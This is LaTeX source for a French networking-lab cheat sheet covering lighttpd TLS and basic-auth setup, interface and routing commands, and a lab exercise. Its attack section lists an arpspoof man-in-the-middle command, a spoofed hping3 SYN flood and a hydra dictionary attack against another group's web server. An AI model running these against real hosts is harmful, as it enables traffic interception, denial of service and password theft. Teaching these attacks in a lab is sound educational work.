\documentclass[10pt,a4paper]{article}

% Packages
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\usepackage{multicol}           % Allows multicols in tables
\usepackage{tabularx}           % Intelligent column widths
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\usepackage{colortbl}           % For coloured tables
\usepackage{setspace}           % For line height
\usepackage{lastpage}           % Needed for total page number
\usepackage{seqsplit}           % Splits long words.
%\usepackage{opensans}          % Can't make this work so far. Shame. Would be lovely.
\usepackage[normalem]{ulem}     % For underlining links
% Most of the following are not required for the majority
% of cheat sheets but are needed for some symbol support.
\usepackage{amsmath}            % Symbols
\usepackage{MnSymbol}           % Symbols
\usepackage{wasysym}            % Symbols
%\usepackage[english,german,french,spanish,italian]{babel}              % Languages

% Document Info
\author{Gloups}
\pdfinfo{
  /Title (refcard-tp1-reseau.pdf)
  /Creator (Cheatography)
  /Author (Gloups)
  /Subject (Refcard TP1 Réseau Cheat Sheet)
}

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% This two commands together give roughly
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% Commands
\newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour
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% Header and Footer
\pagestyle{fancy}
\fancyhead{} % Set header to blank
\fancyfoot{} % Set footer to blank
\fancyhead[L]{
\noindent
\begin{multicols}{3}
\begin{tabulary}{5.8cm}{C}
    \SetRowColor{DarkBackground}
    \vspace{-7pt}
    {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent
        \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}}
    }
\end{tabulary}
\columnbreak
\begin{tabulary}{11cm}{L}
    \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Refcard TP1 Réseau Cheat Sheet}}}} \\
    \normalsize{by \textcolor{DarkBackground}{Gloups} via \textcolor{DarkBackground}{\uline{cheatography.com/208548/cs/44703/}}}
\end{tabulary}
\end{multicols}}

\fancyfoot[L]{ \footnotesize
\noindent
\begin{multicols}{3}
\begin{tabulary}{5.8cm}{LL}
  \SetRowColor{FootBackground}
  \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}}  \\
  \vspace{-2pt}Gloups \\
  \uline{cheatography.com/gloups} \\
  \end{tabulary}
\vfill
\columnbreak
\begin{tabulary}{5.8cm}{L}
  \SetRowColor{FootBackground}
  \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}}  \\
   \vspace{-2pt}Not Yet Published.\\
   Updated 17th October, 2024.\\
   Page {\thepage} of \pageref{LastPage}.
\end{tabulary}
\vfill
\columnbreak
\begin{tabulary}{5.8cm}{L}
  \SetRowColor{FootBackground}
  \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}}  \\
  \SetRowColor{white}
  \vspace{-5pt}
  %\includegraphics[width=48px,height=48px]{dave.jpeg}
  Measure your website readability!\\
  www.readability-score.com
\end{tabulary}
\end{multicols}}




\begin{document}
\raggedright
\raggedcolumns

% Set font size to small. Switch to any value
% from this page to resize cheat sheet text:
% www.emerson.emory.edu/services/latex/latex_169.html
\footnotesize % Small font.

\begin{multicols*}{3}

\begin{tabularx}{5.377cm}{x{2.78712 cm} x{2.18988 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Gestion des utilisateurs}}  \tn
% Row 0
\SetRowColor{LightBackground}
Gestion des utilisateurs & Gestion du système \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
passwd \textless{}login\textgreater{} & hostname \textless{}name\textgreater{} \tn 
% Row Count 3 (+ 1)
% Row 2
\SetRowColor{LightBackground}
adduser \textless{}login\textgreater{} & reboot \tn 
% Row Count 4 (+ 1)
% Row 3
\SetRowColor{white}
\mymulticolumn{2}{x{5.377cm}}{login \textless{}login\textgreater{}} \tn 
% Row Count 5 (+ 1)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Sécurisation du serveur web grâce à SSL/TLS}}  \tn
% Row 0
\SetRowColor{LightBackground}
Génération des certificats du site & Configuration du site web \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
mkdir \seqsplit{/etc/lighttpd/security} & /etc/lighttpd/conf- enabled/tls.conf server.modules += ("mod\_openssl") \$SERVER{[}"socket"{]} == "0.0.0.0:443" \{ ssl.engine = "enable" ssl.pemfile = \seqsplit{"/etc/lighttpd/security/alcest}.pem" \} \tn 
% Row Count 12 (+ 10)
% Row 2
\SetRowColor{LightBackground}
cd \seqsplit{/etc/lighttpd/security} & echo "\textless{}username\textgreater{}:\$(busybox httpd -m '\textless{}password\textgreater{}')" \textgreater{} \textless{}auth file\textgreater{} \tn 
% Row Count 16 (+ 4)
% Row 3
\SetRowColor{white}
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 \textbackslash{} -nodes -out alcest.crt -keyout alcest.key & server.modules += ( "mod\_auth", "mod\_authn\_file") auth.backend = "htpasswd" \seqsplit{auth.backend.htpasswd.userfile} = \seqsplit{"/etc/lighttpd/security/alcest}.auth" auth.require = ( "/" =\textgreater{} ( "method" =\textgreater{} "basic", "realm" =\textgreater{} "password required", "require" =\textgreater{} "valid-user" ) ) \tn 
% Row Count 29 (+ 13)
% Row 4
\SetRowColor{LightBackground}
openssl x509 -in alcest.crt -text & systemctl start lighttpd \tn 
% Row Count 31 (+ 2)
\end{tabularx}
\par\addvspace{1.3em}

\vfill
\columnbreak
\begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Sécurisation du serveur web grâce à SSL/TLS (cont)}}  \tn
% Row 5
\SetRowColor{LightBackground}
cat alcest.key alcest.crt \textgreater{} alcest.pem & systemctl status lighttpd \tn 
% Row Count 2 (+ 2)
% Row 6
\SetRowColor{white}
 & poweroff \tn 
% Row Count 3 (+ 1)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{1.55618 cm} x{1.55618 cm} x{1.46464 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{3}{x{5.377cm}}{\bf\textcolor{white}{Administration de réseaux locaux}}  \tn
% Row 0
\SetRowColor{LightBackground}
\seqsplit{Configuration} dynamique & \seqsplit{Configuration} Statique & Mise en place d'un serveur web \tn 
% Row Count 3 (+ 3)
% Row 1
\SetRowColor{white}
ifconfig & \seqsplit{/etc/network/interfaces} auto eth0 iface eth0 inet static address 192.168.0.1 netmask \seqsplit{255.255.255.0} gateway \seqsplit{192.168.0.254} & startx \tn 
% Row Count 13 (+ 10)
% Row 2
\SetRowColor{LightBackground}
ifconfig -a & ifup eth0 & busybox httpd -f -vv -h \seqsplit{/var/www/html} \tn 
% Row Count 17 (+ 4)
% Row 3
\SetRowColor{white}
ifconfig \textless{}iface\textgreater{} \textless{}@IP\textgreater{} netmask \textless{}netmask\textgreater{} & ifdown eth0 & /etc/hosts \tn 
% Row Count 21 (+ 4)
% Row 4
\SetRowColor{LightBackground}
ifconfig \textless{}iface\textgreater{} up & up echo 1 \textgreater{} \seqsplit{/proc/sys/net/ipv4/ip\_forward} &  \tn 
% Row Count 25 (+ 4)
% Row 5
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{ifconfig \textless{}iface\textgreater{} down} \tn 
% Row Count 26 (+ 1)
% Row 6
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{ip -br addr} \tn 
% Row Count 27 (+ 1)
% Row 7
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{ip addr add \textless{}@IP\textgreater{}/\textless{}netmask\textgreater{} dev \textless{}iface\textgreater{}} \tn 
% Row Count 28 (+ 1)
% Row 8
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{ip link set \textless{}iface\textgreater{} up} \tn 
% Row Count 29 (+ 1)
% Row 9
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{ip link set \textless{}iface\textgreater{} down} \tn 
% Row Count 30 (+ 1)
\end{tabularx}
\par\addvspace{1.3em}

\vfill
\columnbreak
\begin{tabularx}{5.377cm}{x{1.55618 cm} x{1.55618 cm} x{1.46464 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{3}{x{5.377cm}}{\bf\textcolor{white}{Administration de réseaux locaux (cont)}}  \tn
% Row 10
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{route -n} \tn 
% Row Count 1 (+ 1)
% Row 11
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{route add default gw \textless{}@IP passerelle\textgreater{}} \tn 
% Row Count 2 (+ 1)
% Row 12
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{route del default gw \textless{}@IP passerelle\textgreater{}} \tn 
% Row Count 3 (+ 1)
% Row 13
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{ip route} \tn 
% Row Count 4 (+ 1)
% Row 14
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{ip route add default via \textless{}@IP passerelle\textgreater{}} \tn 
% Row Count 5 (+ 1)
% Row 15
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{ip route del default via \textless{}@IP passerelle\textgreater{}} \tn 
% Row Count 6 (+ 1)
% Row 16
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{route add -net \textless{}@IP réseau\textgreater{} netmask \textless{}netmask\textgreater{} gw \textless{}@IP passerelle\textgreater{}} \tn 
% Row Count 8 (+ 2)
% Row 17
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{ip route add \textless{}@IP réseau\textgreater{}/\textless{}netmask\textgreater{} via \textless{}@IP passerelle\textgreater{}} \tn 
% Row Count 10 (+ 2)
% Row 18
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{ssh \textless{}login\textgreater{}@\textless{}destination\textgreater{}} \tn 
% Row Count 11 (+ 1)
% Row 19
\SetRowColor{white}
\mymulticolumn{3}{x{5.377cm}}{traceroute \textless{}destination\textgreater{}} \tn 
% Row Count 12 (+ 1)
% Row 20
\SetRowColor{LightBackground}
\mymulticolumn{3}{x{5.377cm}}{ping} \tn 
% Row Count 13 (+ 1)
\hhline{>{\arrayrulecolor{DarkBackground}}---}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Man In The Middle}}  \tn
% Row 0
\SetRowColor{LightBackground}
\mymulticolumn{1}{x{5.377cm}}{Le protocole ARP} \tn 
% Row Count 1 (+ 1)
% Row 1
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{arp -n} \tn 
% Row Count 2 (+ 1)
% Row 2
\SetRowColor{LightBackground}
\mymulticolumn{1}{x{5.377cm}}{ip neigh} \tn 
% Row Count 3 (+ 1)
% Row 3
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{arpspoof -t \textless{}@IP machine qui va se faire pwned\textgreater{} \textless{}@IP machine dont on souhaite usurper l'identité\textgreater{}} \tn 
% Row Count 5 (+ 2)
% Row 4
\SetRowColor{LightBackground}
\mymulticolumn{1}{x{5.377cm}}{wireshark -i eth0 -k} \tn 
% Row Count 6 (+ 1)
% Row 5
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{echo "/:\textless{}username\textgreater{}:\$(busybox httpd -m '\textless{}password\textgreater{}')" \textgreater{} /etc/httpd.conf} \tn 
% Row Count 8 (+ 2)
% Row 6
\SetRowColor{LightBackground}
\mymulticolumn{1}{x{5.377cm}}{busybox httpd -f -vv -h /var/www/html -r "Restricted Area:" -c /etc/httpd.conf} \tn 
% Row Count 10 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Deny Of Service}}  \tn
% Row 0
\SetRowColor{LightBackground}
\mymulticolumn{1}{x{5.377cm}}{Attaque} \tn 
% Row Count 1 (+ 1)
% Row 1
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{hping3 -{}-flood -{}-syn -{}-spoof \textless{}@IP source usurpée\textgreater{} \textless{}@IP victime\textgreater{}} \tn 
% Row Count 3 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{2.38896 cm} x{2.58804 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Réseau étendu}}  \tn
% Row 0
\SetRowColor{LightBackground}
Création du réseau & Attaque par dictionnaire \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
/sbin/ifconfig & most \textless{}file\textgreater{} \tn 
% Row Count 3 (+ 1)
% Row 2
\SetRowColor{LightBackground}
\seqsplit{/mnt/netta/apps/vnet/nemu-vnet} netadm & hydra -V -f -l admin -P \textless{}fichier de mots de passe\textgreater{} http-get://\textless{}IP nightwish de l'autre groupe\textgreater{} \tn 
% Row Count 8 (+ 5)
% Row 3
\SetRowColor{white}
\mymulticolumn{2}{x{5.377cm}}{{[}nemu{]}-\textgreater{} slink()} \tn 
% Row Count 9 (+ 1)
% Row 4
\SetRowColor{LightBackground}
\mymulticolumn{2}{x{5.377cm}}{{[}nemu{]}-\textgreater{} clink('\textless{}@IP du groupe principal\textgreater{}')} \tn 
% Row Count 10 (+ 1)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}


% That's all folks
\end{multicols*}

\end{document}